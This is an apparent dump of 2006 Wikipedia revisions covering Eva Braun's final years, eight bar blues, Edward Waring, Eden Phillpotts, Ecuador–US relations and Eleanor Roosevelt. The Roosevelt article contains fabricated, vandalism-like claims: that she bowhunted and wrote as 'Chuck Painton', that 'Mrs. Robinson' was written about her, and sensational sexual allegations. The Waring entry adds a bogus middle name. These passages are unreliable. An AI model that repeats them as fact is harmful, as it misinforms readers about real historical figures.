Hitler is known to have been opposed to women wearing cosmetics (in part because they were made from animal by-products) and sometimes brought the subject up at mealtime. Linge (who was his valet) said Hitler once laughed at traces of Braun's lipstick on a napkin and to tease her, joked, &quot;Soon we will have replacement lipstick made from dead bodies of soldiers.&quot;

In 1944 Braun invited her cousin [[Gertraud Weisker]] to visit her at the [[Berghof (Hitler)|Berghof]] near [[Berchtesgaden]]. Decades later, Weisker recalled that although women in the [[Third Reich]] were expected not to wear make-up, drink or smoke, Eva did all of these things. &quot;She was the unhappiest woman I have ever met,&quot; said Weisker, who informed Braun about how poorly the war was going for Germany, having illegally listened to [[BBC]] news broadcasts in German.  Weisker also claimed neither of them knew anything about the [[Holocaust|concentration camps]], although both were keenly aware that [[Jew]]s in Germany were severely persecuted.

Also in [[1944]], Eva Braun's sister Gretl married a member of Hitler's entourage, [[Hermann Fegelein]], who served as [[Heinrich Himmler]]'s liaison. Hitler used the marriage as an excuse to allow Braun to appear at official functions. When Fegelein was caught in the closing days of the war trying to escape to [[Sweden]] with another woman, Hitler personally ordered his [[execution (legal)|execution]] and Braun is said to have deliberately refrained from interceding on her brother-in-law's behalf.

==Marriage and suicide==
By early April [[1945]] she had driven to [[Berlin]] from [[Munich]] to be with Hitler at the ''[[Führerbunker]]''. She refused to leave as the [[Red Army]] closed in, insisting she was one of the only people loyal to him left in the world and Hitler married her on [[April 29]], 1945 during a brief civil ceremony (the bride wore a blue [[silk]] dress) witnessed by [[Joseph Goebbels]] and [[Martin Bormann]], after which staff were instructed to address her as ''Frau Hitler'' instead of ''[[Fräulein]] Braun''. There was gossip among the Führerbunker staff that Eva was carrying Hitler's child although there has never been any evidence to support this claim. They committed [[suicide]] together on the 30th, she by swallowing a [[cyanide]] capsule first. She was 33. Their [[corpse]]s were burned with [[gasoline]] in the [[Reich Chancellery]] garden. 

Their charred remains were soon discovered by the Russians and secretly buried at the [[SMERSH]] compound in [[Magdeburg]], [[East Germany]] along with the bodies of [[Joseph Goebbels|Joseph]] and [[Magda Goebbels]] and their six children before being exhumed in [[1970]], completely [[cremation|cremated]] and dispersed in the [[Elbe]] river (see also [[Hitler's death]]). 

&quot;It was a suitable conclusion,&quot; Gertraud Weisker said later. &quot;She had nothing. He ripped her out of her job and damned her to loneliness in the mountains. It was an unavoidable end and the logical result of everything that had gone before.&quot;  

The rest of Eva Braun's family survived the war including her father, who worked in a hospital and to whom Braun sent several trunks of her belongings in April, 1945.  Her mother, Franziska died aged 96 in January [[1976]] having lived out her days in an old farmhouse in [[Ruhpolding]], [[Bavaria]].

==Eva Hitler?==
In 1945, a German bride either kept her maiden name or replaced it with her husband's family name. For example, Braun would not have used the Anglo-Saxon forms ''Eva Anna Paula Braun Hitler'' or ''Eva Braun Hitler'' had she lived (or married Hitler earlier). When Eva signed her marriage certificate, she first wrote her family name ''Braun'', then lined this out and replaced it with ''Hitler''. Moreover, bunker personnel were instructed to call her ''Frau Hitler'' during those final 24 hours, so there is ample evidence she chose ''Eva Hitler'' as her legal name. However, since she spent her lifetime as Eva Braun, historical references to her overwhelmingly involve events which happened when she was named ''Braun'' and further, to avoid giving a mistaken impression that Adolf Hitler was married for any meaningful length of time during his political career, the consensus among historians has been to use her maiden name.

{{Template:Bunker}}
[[Category:1912 births|Braun, Eva]]
[[Category:1945 deaths|Braun, Eva]]
[[Category:Müncheners|Braun, Eva]]
[[Category:Natives of Bavaria|Braun, Eva]]
[[Category:German women|Braun, Eva]]
[[Category:Roman Catholics|Braun, Eva]]
[[Category:Female Nazis|Braun, Eva]]
[[Category:Nazi Germany|Braun, Eva]]
[[Category:German World War II people|Braun, Eva]]
[[Category:Hitler family|Braun, Eva]]
[[Category:Suicides|Braun, Eva]]
[[Category:Women in war|Braun, Eva]]

[[af:Eva Braun]]
[[ar:إيفا براون]]
[[da:Eva Braun]]
[[de:Eva Braun]]
[[es:Eva Braun]]
[[fa:اوا براون]]
[[fr:Eva Braun]]
[[ga:Eva Braun]]
[[gl:Eva Braun]]
[[id:Eva Braun]]
[[it:Eva Braun]]
[[he:אווה בראון]]
[[nl:Eva Braun]]
[[ja:エヴァ・ブラウン]]
[[no:Eva Braun]]
[[nn:Eva Braun]]
[[pl:Eva Braun]]
[[pt:Eva Braun]]
[[ru:Браун, Ева]]
[[sl:Eva Braun]]
[[fi:Eva Braun]]
[[sv:Eva Braun]]
[[tr:Eva Braun]]
[[zh:爱娃·勃劳恩]]</text>
    </revision>
  </page>
  <page>
    <title>Eight bar blues</title>
    <id>9719</id>
    <revision>
      <id>33827225</id>
      <timestamp>2006-01-04T09:31:24Z</timestamp>
      <contributor>
        <username>Guypersonson</username>
        <id>549260</id>
      </contributor>
      <minor />
      <comment>link to 16 bar blues</comment>
      <text xml:space="preserve">An '''eight bar blues''' is a typical [[blues]] [[chord (music)|chord]] progression, taking eight [[time signature|4/4 bars]] to the verse.

A basic example of the progression would look like this, using '''T''' to indicate the [[tonic chord|tonic]], '''S''' for the [[subdominant chord|subdominant]], and '''D''' for the [[dominant chord|dominant]], and representing one chord per beat:

 T  T  S  S 
 T  T  T  T
 S  S  S  S
 T  T  T  T
 T  T  T  T
 S  S  S  S
 T  T  D  D
 T  T  T  T

(The same chord progression can also be called a '''[[16 bar blues|sixteen-bar blues]]''', if each symbol above is taken to be a half note in 2/2 or 4/4 time -- blues has not traditionally been associated with notation, so its form becomes a bit slippery when written down.)

Many variations are possible.  For instance, [[seventh chord]]s are often used just before a change, and more changes can be added.  A more complicated example might look like this, where &quot;7&quot; indicates a seventh chord:

 T  T  S7 S7 
 T  T  T7 T7
 S  S  S7 S7
 T  T  T  T
 T  T  T7 T7
 S  S  S7 S7
 T  T  D7 D7
 T  T  T  D7

When the last bar contains the [[dominant chord|dominant]], that bar can be called a ''turnaround''.

Finally, here is an example showing the pattern in the key of D, and how it fits with the lyrics of a given verse.  One chord symbol is used per beat, with &quot;-&quot; representing the continuation of the previous chord:

 D              -               
 Woke up this morning with the 
 
 G         -        D   -   D7   -   
 blues down in my soul 
 
 G              -               
 Woke up this morning with the 
 
 G7         -        D   -   -   -  
 blues down in my soul            
 
 D                -               D7         -
 Woke up this morning with the blues in my soul
  
             G              -     
 Saying &quot;My baby gone and left me, got a 
 
 G7              - 
 heart black as coal&quot; 
 
 D              -               
 Woke up this morning with the 
 
 A          A7       D      -   A7   -
 blues down in my soul
 
[[fy:Acht maats blues]]

Some well known eight bar blues are &quot;Ain't Nobody's Business,&quot; &quot;Cherry Red,&quot;  and &quot;(Romancing) In The Dark.&quot;

See also: [[twelve bar blues]], [[chord progression]].
[[Category:Chord progressions]]</text>
    </revision>
  </page>
  <page>
    <title>Echidna (disambiguation)</title>
    <id>9720</id>
    <revision>
      <id>39447525</id>
      <timestamp>2006-02-13T04:42:37Z</timestamp>
      <contributor>
        <username>Kdliss</username>
        <id>509397</id>
      </contributor>
      <minor />
      <text xml:space="preserve">*An [[echidna]] is any of several Australasian monotremes.
*''[[ECHIDNA - High Resolution Powder Diffractometer]]'' - neutron diffraction at [[OPAL]].
*An ancient [[Greek mythology|Greek]] monster was named [[Echidna (mythology)|Echidna]].
*[[Echidna programming language|Echidna]] is a programming language
*''[[Echidna (genus)|Echidna]]'' is a [[genus]] of [[moray eel]]s.


{{disambig}}

[[de:Echidna]]
[[it:Echidna]]</text>
    </revision>
  </page>
  <page>
    <title>Eigenvalue</title>
    <id>9722</id>
    <revision>
      <id>24986314</id>
      <timestamp>2005-10-07T16:31:55Z</timestamp>
      <contributor>
        <username>SeventyThree</username>
        <id>183256</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Eigenvalue, eigenvector and eigenspace]]</text>
    </revision>
  </page>
  <page>
    <title>Edward Waring</title>
    <id>9723</id>
    <revision>
      <id>40316177</id>
      <timestamp>2006-02-19T19:44:44Z</timestamp>
      <contributor>
        <username>TigerShark</username>
        <id>161478</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/TigerShark|TigerShark]] to last version by 84.32.129.75</comment>
      <text xml:space="preserve">'''Edward (Urgelyshnok) Waring''' ([[1736]] - [[August 15]], [[1798]]) was [[United Kingdom|British]] [[mathematician]] who was born in [[Old Heath]] (near [[Shrewsbury]]) [[Shropshire]] [[England]] and died in [[Pontesbury]] [[Shropshire]] [[England]]

He was [[Lucasian professor]] of mathematics at [[University of Cambridge|Cambridge University]] from [[1760]] until his death. He was awarded the [[Copley Medal]] in 1784.

He made the assertion known as [[Warings problem|Waring's Problem]] without proof in his writings ''Meditationes Algebraicae''.

==See also==
*[[Warings problem|Waring's Problem]]
*[[Lagrange polynomial]]

== External links ==
* {{MacTutor Biography|id=Waring}}

{{mathbiostub}}
[[Category:1736 births|Waring, Edward]]
[[Category:1798 deaths|Waring, Edward]]
[[Category:British mathematicians|Waring, Edward]]
[[Category:Fellows of the Royal Society|Waring, Edward]]
[[Category:18th century mathematicians|Waring, Edward]]
[[Category:Number theorists|Waring, Edward]]

[[he:אדוארד וארינג]]
[[sv:Edward Waring]]</text>
    </revision>
  </page>
  <page>
    <title>Eden Phillpotts</title>
    <id>9724</id>
    <revision>
      <id>40363153</id>
      <timestamp>2006-02-20T01:48:17Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''Eden Phillpotts''' ([[November]], [[1862]] – [[December 29]], [[1960]]) was a [[United Kingdom|British]] novelist, poet, and dramatist. He was born in [[India]], educated in [[Plymouth]], [[Devon]], and worked as an insurance officer for 10 years before studying for the stage and eventually becoming a writer. 

He was the author of many novels, plays and poems about [[Dartmoor]]. His Dartmoor cycle of 18 novels and two volumes of short stories still have many avid readers despite the fact that many titles are out of print.

Philpotts also wrote many other books with a Dartmoor setting. He was for many years the President of the [[Dartmoor Preservation Association]] and cared passionately about the conservation of Dartmoor.

One of his novels, ''Widecombe Fair'', inspired by an annual [[Widecombe Fair|fair]] at the village of [[Widecombe-in-the-Moor]], provided the scenario for his comic play ''[[The Farmer's Wife]]''. It went on to become a silent movie of the same name, directed by [[Alfred Hitchcock]] and filmed in [[1927]]. The cast included: [[Jameson Thomas]], [[Lillian Hall-Davis]], [[Gordon Harker]] and [[Gibb McLaughlin]].

Philpotts was a friend of [[Agatha Christie]], who was a fan of his work and a regular visitor to his home.

Some of his novels about Dartmoor include:

*''[[My Devon Year]]'' (ISBN 1841141364)
*''[[Children of the Mist]]''
*''[[The River]]''
*''[[The Thief of Virtue]]''
*''[[The Whirlwind]]''
*''[[The Beacon]]''
*''[[Orphan Dinah]]''
*''[[The American Prisoner]]''
*''[[Virgin in Judgment]]''
*''[[The Three Brothers]]''
*''[[Children of Men]]''
*''[[The Mother]]''

Among his other works is ''[[The Grey Room]]'', the plot of which is centered on a haunted room in an English manor house.

Late in his long writing career he wrote a few books of interest to [[science fiction]] readers. The most noteworthy being '''Saurus''' which involves an alien reptilian being observing human life, somewhat after the fashion [[ethnographer]]s observed peoples deemed &quot;primitive&quot; at that time.

==External links==
*{{gutenberg author|id=Eden_Phillpotts|name=Eden Phillpotts}}
*[http://www.isfdb.org/cgi-bin/ea.cgi?Eden%20Phillpotts ISFDB page]
{{UK-writer-stub}}
[[Category:1862 births|Phillpotts, Eden]]
[[Category:1960 deaths|Phillpotts, Eden]]
[[Category:British poets|Phillpotts, Eden]]
[[Category:Dartmoor|Phillpotts, Eden]]
[[Category:Plymothians|Phillpotts, Eden]]


[[sl:Eden Phillpotts]]
[[fr:Eden Phillpotts]]</text>
    </revision>
  </page>
  <page>
    <title>Ecuadorian-United States relations</title>
    <id>9725</id>
    <revision>
      <id>36426655</id>
      <timestamp>2006-01-23T23:47:03Z</timestamp>
      <contributor>
        <username>Aris Katsaris</username>
        <id>85484</id>
      </contributor>
      <comment>template</comment>
      <text xml:space="preserve">{{bilateral|Ecuadorian-United States|Ecuador|USA}}
The [[United States]] and [[Ecuador]] have maintained close ties based on mutual interests in maintaining democratic institutions; combating [[illegal drugs trade]]; building trade, investment, and financial ties; cooperating in fostering Ecuador's economic development; and participating in inter-American organizations. Ties are further strengthened by the presence of an estimated 150,000-200,000 Ecuadorians living in the United States and by 24,000 U.S. citizens visiting Ecuador annually, and by approximately 15,000 U.S. citizens residing in Ecuador. The United States assists Ecuador's economic development directly through the [[Agency for International Development]] (USAID) program in Ecuador and through multilateral organizations such as the [[Inter-American Development Bank]] and the [[World Bank]]. In addition, the U.S. [[Peace Corps]] operates a sizable program in Ecuador. More than 100 U.S. companies are doing business in Ecuador.

Both nations are signatories of the [[Inter-American Treaty of Reciprocal Assistance]] (the ''Rio Treaty'') of [[1947]], the Western Hemisphere's regional mutual security treaty. Ecuador shares U.S. concern over increasing narcotrafficking and international terrorism and has energetically condemned terrorist actions, whether directed against government officials or private citizens. The government has maintained Ecuador virtually free of coca production since the mid-1980s and is working to combat [[money laundering]] and the transshipment of drugs and chemicals essential to the processing of [[cocaine]].

Ecuador and the U.S. agreed in [[1999]] to a 10-year arrangement whereby U.S. military surveillance aircraft could use the airbase at [[Manta]], [[Ecuador]], as a ''Forward Operating Location'' to detect drug trafficking flights through the region. In fisheries issues, the United States claims jurisdiction for the management of coastal fisheries up to 320 kilometers (200 mi.) from its coast, but excludes highly migratory species; Ecuador, on the other hand, claims a 320-kilometer-wide (200-mi.) territorial sea, and imposes license fees and fines on foreign fishing vessels in the area, making no exceptions for catches of migratory species. In the early 1970s, Ecuador seized about 100 foreign-flag vessels (many of them U.S.) and collected fees and fines of more than $6 million. After a drop-off in such seizures for some years, several U.S. tuna boats were again detained and seized in 1980 and 1981.

The U.S. [[Magnuson Fishery Conservation and Management Act]] then triggered an automatic prohibition of U.S. imports of tuna products from Ecuador. The prohibition was lifted in 1983, and although fundamental differences between U.S. and Ecuadorian legislation still exist, there is no current conflict. During the period that has elapsed since seizures which triggered the tuna import ban, successive Ecuadorian governments have declared their willingness to explore possible solutions to this problem with mutual respect for longstanding positions and principles of both sides.

[[Category:Foreign relations of Ecuador]]
[[Category:Foreign relations of the United States]]</text>
    </revision>
  </page>
  <page>
    <title>Eleanor Roosevelt</title>
    <id>9726</id>
    <revision>
      <id>42161906</id>
      <timestamp>2006-03-04T05:48:15Z</timestamp>
      <contributor>
        <username>Shanel</username>
        <id>301280</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/24.107.132.222|24.107.132.222]] ([[User talk:24.107.132.222|talk]]) to last version by CanadianCaesar</comment>
      <text xml:space="preserve">[[Image:Eleanor_Roosevelt.gif|White House portrait|thumb|right|Eleanor Roosevelt.]]

'''Anna Eleanor Roosevelt''' ([[October 11]] [[1884]] &amp;ndash; [[November 7]] [[1962]]) was an [[United States|American]] [[human rights]] activist, [[statesman|stateswoman]], [[journalist]], [[educator]], [[businesswoman]], [[author]], and [[diplomat]]. As the wife of [[President of the United States]] [[Franklin D. Roosevelt]], she was the longest serving [[First Lady of the United States]], from 1933 to 1945. An active First Lady, she traveled around the United States promoting the [[New Deal]] and visited troops at the frontlines during [[World War II]]. She was a [[First-wave feminism|first-wave]] [[Feminism|Feminist]] (although she opposed the [[Equal Rights Amendment]]), and she actively supported the [[American Civil Rights Movement]].

Roosevelt was active in the formations of numerous institutions, most notably the [[United Nations]], the [[United Nations Association of the United States of America|United Nations Association]] and [[Freedom House]]. She chaired the committee that drafted and approved the [[UN Universal Declaration of Human Rights|Universal Declaration of Human Rights]]. President [[Harry S. Truman]] called her the ''First Lady of the World'', in honor of her extensive travels to promote [[human rights]].

==Early life==
Anna Eleanor Roosevelt was born at 56 West 37th St. in [[New York City]], [[New York]] to [[Elliott Roosevelt I|Elliott Roosevelt]] and [[Anna Hall Roosevelt|Anna Eleanor Hall]] and was the favorite niece of [[Theodore Roosevelt]]. Roosevelt is also a descendant through her mother's family, of [[William Livingston]], a signer of the [[U.S. Constitution]]. Two brothers followed young Anna Roosevelt. The Roosevelt family was completed with the addition of Elliott Jr. (1889-1893) and [[G. Hall Roosevelt]] (1891-1941). 

Following her parents' deaths, young Anna Eleanor was raised by her maternal grandmother, an emotionally cold woman, in an autocratic house on Newbridge Avenue (now East Meadow Avenue) in [[East Meadow, New York]]. She was looked down upon by most of her family, presumably because of her plain looks and six foot tall frame.  

Although she was still in her Uncle Teddy's good graces, Eleanor found herself at odds with his eldest daughter, [[Alice Roosevelt Longworth|Alice Roosevelt]]. In the season prior to the [[wedding]] of Franklin and Eleanor, newspapers began reporting that Eleanor had more claim to good looks than any of the other Roosevelt cousins, angering Alice. Alice was also jealous because of TR's alleged favoritism towards Eleanor because she was more &quot;Rooseveltian&quot; than Alice.

==Marriage and family==
On [[St. Patrick's Day]] ([[17 March]]) 1905 she married [[Franklin D. Roosevelt]]; President Theodore Roosevelt took the place of his late brother in giving Eleanor's hand to her husband to be. 
Eleanor and Franklin were fifth cousins, once removed. They descended from Claes Martenszen van Rosenvelt who emigrated to [[New Amsterdam]] ([[Manhattan]]) from the [[Netherlands]] in the 1640s. His grandsons, Johannes and Jacobus, began the [[Oyster Bay, New York|Oyster Bay]] and [[Hyde Park, New York]] branches of the Roosevelt family. Eleanor is descended from the Johannes branch and Franklin is descended from the Jacobus branch. 

Their marriage produced six children, [[Anna E. Roosevelt|Anna Eleanor Jr.]], [[James Roosevelt|James]], Franklin Delano Jr. (1909-1909), [[Elliott Roosevelt|Elliott]], [[Franklin Delano Roosevelt, Jr.|Franklin Delano Jr.]] and [[John Aspinwall Roosevelt|John Aspinwall]]. 

However, their marriage almost split over Franklin's affair with her social secretary [[Lucy Mercer]] (later Lucy Mercer Rutherfurd). She also had a contentious relationship with her domineering mother-in-law, Sara Delano Roosevelt, who at 5'10&quot; was only 2 inches shorter than Eleanor.

In 1928, Roosevelt met Associated Press reporter [[Lorena Hickok]], a [[White House]] correspondent. They became close friends after Hickok conducted a series of interviews with Roosevelt in 1932, and remained so for the rest of their lives. Hickok suggested the idea for what would eventually become Roosevelt’s column ''My Day''. &amp;nbsp;''My Day'' was a daily newspaper column which started in 1935, in which she talked about interesting things that happened to her each day. 
  
After a few years away from Washington, in 1940, Hickok returned and lived in the White House with the first family. Eleanor Roosevelt and Hickok maintained a personal correspondence in which Roosevelt wrote to Hickok in 1933: 
&quot;''My Pictures are nearly all up &amp; I have you in my sitting room where I can look at you most of my waking hours! I can't kiss you [in person] so I kiss your picture good night and good morning''&quot; and &quot;''Most clearly I remember your eyes, with a kind of teasing smile in them, and the feeling of that soft spot just northeast of the corner of your mouth against my lips.''&quot;, 
These letters, as well as the fact that Hickok burned Roosevelt's letters after her death, have led some to conclude that Eleanor Roosevelt and Hickok were lovers. The biographer [[Doris Faber]] tried to suppress the surviving letters between the two, concerned that they would be 'misunderstood'. [[Blanche Wiesen Cook]], author of one of Roosevelt's most extensive biographies, made a well-documented argument for a love relationship between the two in her work. [[Doris Kearns Goodwin]], who wrote a prize-winning biography of Franklin and Eleanor (&quot;No Ordinary Time&quot;), has publicly disputed Cook's assessment that Roosevelt had a lesbian side.

Along with allegations of the [[First Lady]] being [[bisexual]], she had at least two other affairs. The first, with [[Earl Miller]], she and [[Franklin D. Roosevelt|FDR]]'s [[bodyguard]], supposedly eclipsed her [[lesbian]] [[affair]]; the second was with [[Joseph Lash]]. The story is that love letters between Lash and Eleanor were intercepted by the [[President]], and that the first lady was taped during a [[hotel]] stay in [[Chicago]] while she and Lash had [[intercourse]], and the tapes were fowarded to the [[President]], who confronted her about the ordeal.

==First Lady of the United States==
During Franklin Roosevelt's terms as President, Eleanor was very vocal about her support of the [[American Civil Rights Movement (1896-1954)|American Civil Rights Movement]] and African-American rights. However, her husband needed the support of Southern Democrats (notoriously racist) to advance other parts of his agenda. FDR therefore did not take on the cause of civil rights. Eleanor became the connection to the African-American population instead, helping Franklin Roosevelt to win a lot of votes.

In 1939, the [[opera]] singer [[Marian Anderson]] was refused permission to perform at [[Constitution Hall]] (owned by the [[Daughters of the American Revolution]]) in Washington. Roosevelt arranged for Anderson to perform on the steps of the [[Lincoln Memorial]], to a live audience of 70,000, and a nationwide audience of millions on radio.  She also resigned her membership in the D.A.R. over the incident.

Roosevelt opposed her husband's decision to sign [[Executive Order 9066]] 
which resulted in the internment of 110,000 Japanese nationals and American citizens of Japanese descent in [[internment camp]]s in the west.  In 1943 Roosevelt, along with [[Wendell Willkie]] and other Americans concerned about the mounting threats to peace and democracy during [[World War II]], established [[Freedom House]]. 

Roosevelt also accepted large amounts of money from her activities in advertising.  The Pan-American Coffee Bureau, which was supported by tax revenues from eight foreign governments, paid Roosevelt $1000 a week for advertising.  When the State Department found out that the First Lady was being paid so handsomely by foreign governments they unsuccessfully tried to cancel the deal.&lt;!--John T. Flynn. The Roosevelt Myth.  pp. 247 --&gt; 

[[Image:Eleanor_Roosevelt_with_Soong_Mei-ling.jpg|thumb|left|280px|Eleanor Roosevelt and [[Madame Chiang Kai-shek]]]]

==Life after the White House==
Following the death of her husband in 1945, Roosevelt continued to live on the Hyde Park Estate, in Val-Kill, the house that her husband had remodeled for her near the mainhouse.  Originally built as a small furniture factory for [[Val-Kill Industries]], Val-Kill afforded Eleanor with a level of privacy that she had wanted for many years.  Here she entertained her circle of friends in informal gatherings.  The site is now the home of the [http://www.ervk.org/index.htm Eleanor Roosevelt Center at Val-Kill], dedicated to ''&quot;Eleanor Roosevelt's belief that people can enhance the quality of their lives through purposeful action based on sensitive discourse among people of diverse perspectives focusing on the varied needs of society.&quot;''

After World War II, she was instrumental along with [[René Cassin]], [[John Peters Humphrey]] and others in formulating the [[UN Universal Declaration of Human Rights]]. On the night of [[December 10]], [[1948]], Roosevelt spoke on behalf of the Declaration calling it &quot;the international [[Magna Carta]] of all mankind,&quot; and the Declaration was unanimously adopted by the [[UN General Assembly]] later that night. 

From the 1920s to her death she opposed the [[Equal Rights Amendment]] because it would prevent Congress and the states from passing special protective legislation she thought women workers needed.

===The Catholic issue===
In July 1949 her ambivalent attitude toward American Catholics caused a high visibility fight with [[Francis Cardinal Spellman]], the Catholic Archbishop of New York.  In her columns she had attacked proposals for federal aid for nonreligious activity (such as bus transportation) for students at Catholic schools. Spellman pointed out the Supreme Court had recently upheld such provisions, and accused her of anti-Catholicism.  Most Democrats rallied behind Roosevelt so Spellman came to Eleanor's Hyde Park home to bury the hatchet.  However she never could shake her belief that the Catholic schools were less than 100% democratic--like their Church--and did not deserve federal aid.  She seems to have paid attention to the anti-Catholic polemics of people like [[Paul Blanshard]].  Privately she said that if Catholics got school aid, &quot;Once that is done they control the schools, or at least a great part of them.&quot;  For their part the Catholics distrusted her as much as they admired Franklin. She was well known for supporting the violently anti-Catholic leftists in the Spanish Civil War (in which Franklin remained neutral), and for opposing normal relations with Spain after the war. Indeed, she told Spellman bluntly that &quot;I cannot, however, say that in European countries the control by the Roman Catholic Church of great areas of land has always led to happiness for the people of those countries.&quot;  Catholics resented her quiet support of [[Margaret Sanger]] and the birth control movement, and her prewar sponsorship of the [[American Youth Congress]] in which the Communists had been heavily represented, but Catholic youth groups were not represented.  (Lash, ''Eleanor: The Years Alone'' pp 156-65.)

===New York and National Politics===
In 1954 [[Tammany Hall]] boss [[Carmine DeSapio]] campaigned against her son, [[Franklin D. Roosevelt, Jr.]], in the [[New York]] Attorney General election and successfully defeated him. Roosevelt held DeSapio responsible for her son's defeat and grew increasingly disgusted with his political conduct through the rest of the 1950s. 

Eventually, she would join with her old friends [[Herbert Lehman]] and Thomas Finletter to form the New York Committee for Democratic Voters, a group dedicated to enhancing the democratic process by opposing DeSapio's reincarnated Tammany. Eventually their efforts were successful, and in 1961 DeSapio was removed from power. 

Roosevelt was a close friend of [[Adlai Stevenson]] and was a strong supporter of his candidacies in the 1952 and 1956 presidential elections. When President Truman backed New York [[Governor]] [[W. Averell Harriman]], who was a close associate of Carmine DeSapio, for the Democratic presidential nomination, Roosevelt was disappointed but continued to support Stevenson who ultimately won the nomination. She backed Stevenson once again in 1960 but [[John F. Kennedy]] received the presidential nomination instead.

She was responsible for the establishment of the 2,800 [[acre]] (11 km&lt;sup&gt;2&lt;/sup&gt;) ([[http://www.nps.gov/roca/Campobello]]) Roosevelt Campobello International Park on [[Campobello Island]], [[New Brunswick]], in 1964, following a gift of the Roosevelt summer estate to the Canadian and American governments.

Eleanor Roosevelt was outspoken on numerous causes and continued to galvanize the [[world]] with her comments and opinions well into her 70s.

Roosevelt was an accomplished archer, and one of the first modern women to participate in the sport of bowhunting. Her exploits as a 20th-century [[Diana (goddess)|Diana]] are well documented in the writings of her male bowhunting contemporaries Fred Bear, Howard Hill and Saxton Pope. A close personal friendship with J.E. Davis, editor of ''Ye Sylvan Archer'', which was a popular bowhunting magazine of the time, led to an invitation to author several articles for that publication.  Roosevelt's tales of her hunting excursions were well received, though they did not serve to further the cause of women's liberation: in keeping with the chauvinistic standards of the time, Roosevelt's stories were published under the masculine pseudonym &quot;Chuck Painton&quot; to avoid offending the magazine's overwhelmingly male readership.  

One of Roosevelt's prized trophies, the taking of which was immortalized in her poignant 1937 account [[Outwitting the Rompala Buck]] ('''Ye Sylvan Archer''', v2), for many years graced the mantle above the fireplace in her husband Franklin's presidential library. It is now held as one of the organizing artifacts of the Community Forum Collection of the Smithsonian Institution.

Notably, the song &quot;[[Mrs. Robinson]]&quot; by [[Simon and Garfunkel]] was written about Roosevelt. The duo needed to give [[Mike Nichols]] a song for the film ''[[The Graduate]]'', so they changed the lyric from &quot;Roosevelt&quot; to &quot;Robinson&quot;. The song was so unfinished that the now famous &quot;dee-dee-dee&quot; section was simply added to fill in unwritten lyrics.


==End of an Extraordinary life ==

Roosevelt survived her husband by nearly 20 years. Eleanor Roosevelt's life was cut short as she developed [[bone marrow]] [[tuberculosis]], recurring from a primary 1919 infection, and died at her [[Manhattan]] apartment on the evening of [[November 7]], [[1962]]. She was 78 years old. 

Roosevelt was buried next to [[Franklin D. Roosevelt]] in [[Hyde Park, New York]] on [[November 10]], [[1962]]. So revered was she among the public that a commemorative cartoon published at the time simply showed two angels looking down towards an opening in the clouds with the caption &quot;She's here&quot;, since no introduction was needed.

After her death, her son [[Elliott Roosevelt]] wrote a series of best-selling fictional [[Detective fiction| murder mysteries]] wherein she acted as a detective, helping the police solve the crime, while she was First Lady. They feature actual places and celebrities of the time.

Despite an intense campaign to have her awarded a posthumous [[Nobel Peace Prize]], the Norwegians refused and she was never so honored. In 1968 she was awarded one of the [[United Nations Prize in the Field of Human Rights|Human Rights Prizes]]. [http://www.thirdworldtraveler.com/Roosevelt_Eleanor/Eleanor_Years_Alone.html]

Roosevelt is the ninth most [[Gallup's List of Widely Admired People|admired]] person in the 20th century, according to [[Gallup]].

==Quotes==
“Great minds discuss ideas; Average minds discuss events; Small minds discuss people” 
 
“No one can make you feel inferior without your consent.” 
 
“Friendship with oneself is all important because without it one cannot be friends with anybody else in the world.” 
 
“In the long run, we shape our lives, and we shape ourselves. The process never ends until we die. And the choices we make are ultimately our own responsibility.” 
 
“You gain strength, courage, and confidence by every experience by which you really stop to look fear in the face. You are able to say to yourself, 'I lived through this horror. I can take the next thing that comes along.” 
 
“You have to accept whatever comes and the only important thing is that you meet it with courage and with the best that you have to give” 
 
“You gain strength, courage, and confidence by every experience in which you really stop to look fear in the face… do the thing you think you cannot do.” 
 
“You must do the thing you think you cannot do” 
 
“The purpose of life, after all, is to live it, to taste experience to the utmost, to reach out eagerly and without fear for newer and richer experiences.”  
 
“We are afraid to care too much, for fear that the other person does not care at all.”

“For it isn't enough to talk about peace. One must believe in it. And it isn't enough to believe in it. One must work for it.” 
 
“People grow through experience if they meet life honestly and courageously. This is how character is built.” 

“It is better to light one small candle than to curse the darkness.” 

“Happiness is not a goal; it is a by-product.” 

“I once had a rose named after me and I was very flattered. But I was not pleased to read the description in the catalogue: no good in a bed, but fine up against a wall.” 

“Do what you feel in your heart to be right, for you'll be criticized anyway. You'll be damned if you do and damned if you don't.” 

“Never allow a person to tell you no who doesn't have the power to say yes.” 

“Friends, you and me... you brought another friend... and then there were three... we started our group... our circle of friends... and like that circle... there is no beginning or end.” 

“Remember always that you not only have the right to be an individual, you have an obligation to be one.” 

“Sometimes I wonder if we shall ever grow up in our politics and say definite things which mean something, or whether we shall always go on using generalities to which everyone can subscribe, and which mean very little.” 

“It is not fair to ask of others what you are unwilling to do yourself” 

“If life were predictable it would cease to be life, and be without flavor” 

“I think that somehow, we learn who we really are and then live with that decision.” 

“Life must be lived and curiosity kept alive. One must never, for whatever reason, turn his back on life.” 

“It takes as much energy to wish as it does to plan” 

“What one has to do usually can be done.” 

“Women are like teabags. We don't know our true strength until we are in hot water!” 

“Only a man's character is the real criterion of worth.” 

“I have spent many years of my life in opposition, and I rather like the role.” 

“Since you get more joy out of giving joy to others, you should put a good deal of thought into the happiness that you are able to give.” 

“Understanding is a two-way street.” 

“When will our consciences grow so tender that we will act to prevent human misery rather than avenge it?” 

“A little simplification would be the first step toward rational living, I think.” 

“We have to face the fact that either all of us are going to die together or we are going to learn to live togethern and if we are to live together we have to talk.” 

“With the new day comes new strength and new thoughts.” 

“A day out-of-doors, someone I loved to talk with, a good book and some simple food and music -- that would be rest.” 

“I could not, at any age, be content to take my place by the fireside and simply look on. Life was meant to be lived. Curiousity must be kept alive. One must never, for whatever reason, turn his back on life.”

&quot;The future belongs to those who believe in the beauty of their dreams.&quot;

==See also==
* [[Molly Yard]]

==References==
* Eleanor Roosevelt, ''The Autobiography of Eleanor Roosevelt'', Da Capo Press ed., 1992, paperback, 439 pages, ISBN 03680476X, [http://www.dacapopress.com dacapopress.com]
* Manly, Chesly. &quot;U.N. Adopts 1st Declaration on Human Rights.&quot; Chicago Daily Tribune [[11 December]]. 1948: 4. ProQuest. EBSCO. Indiana University, Bloomington. 
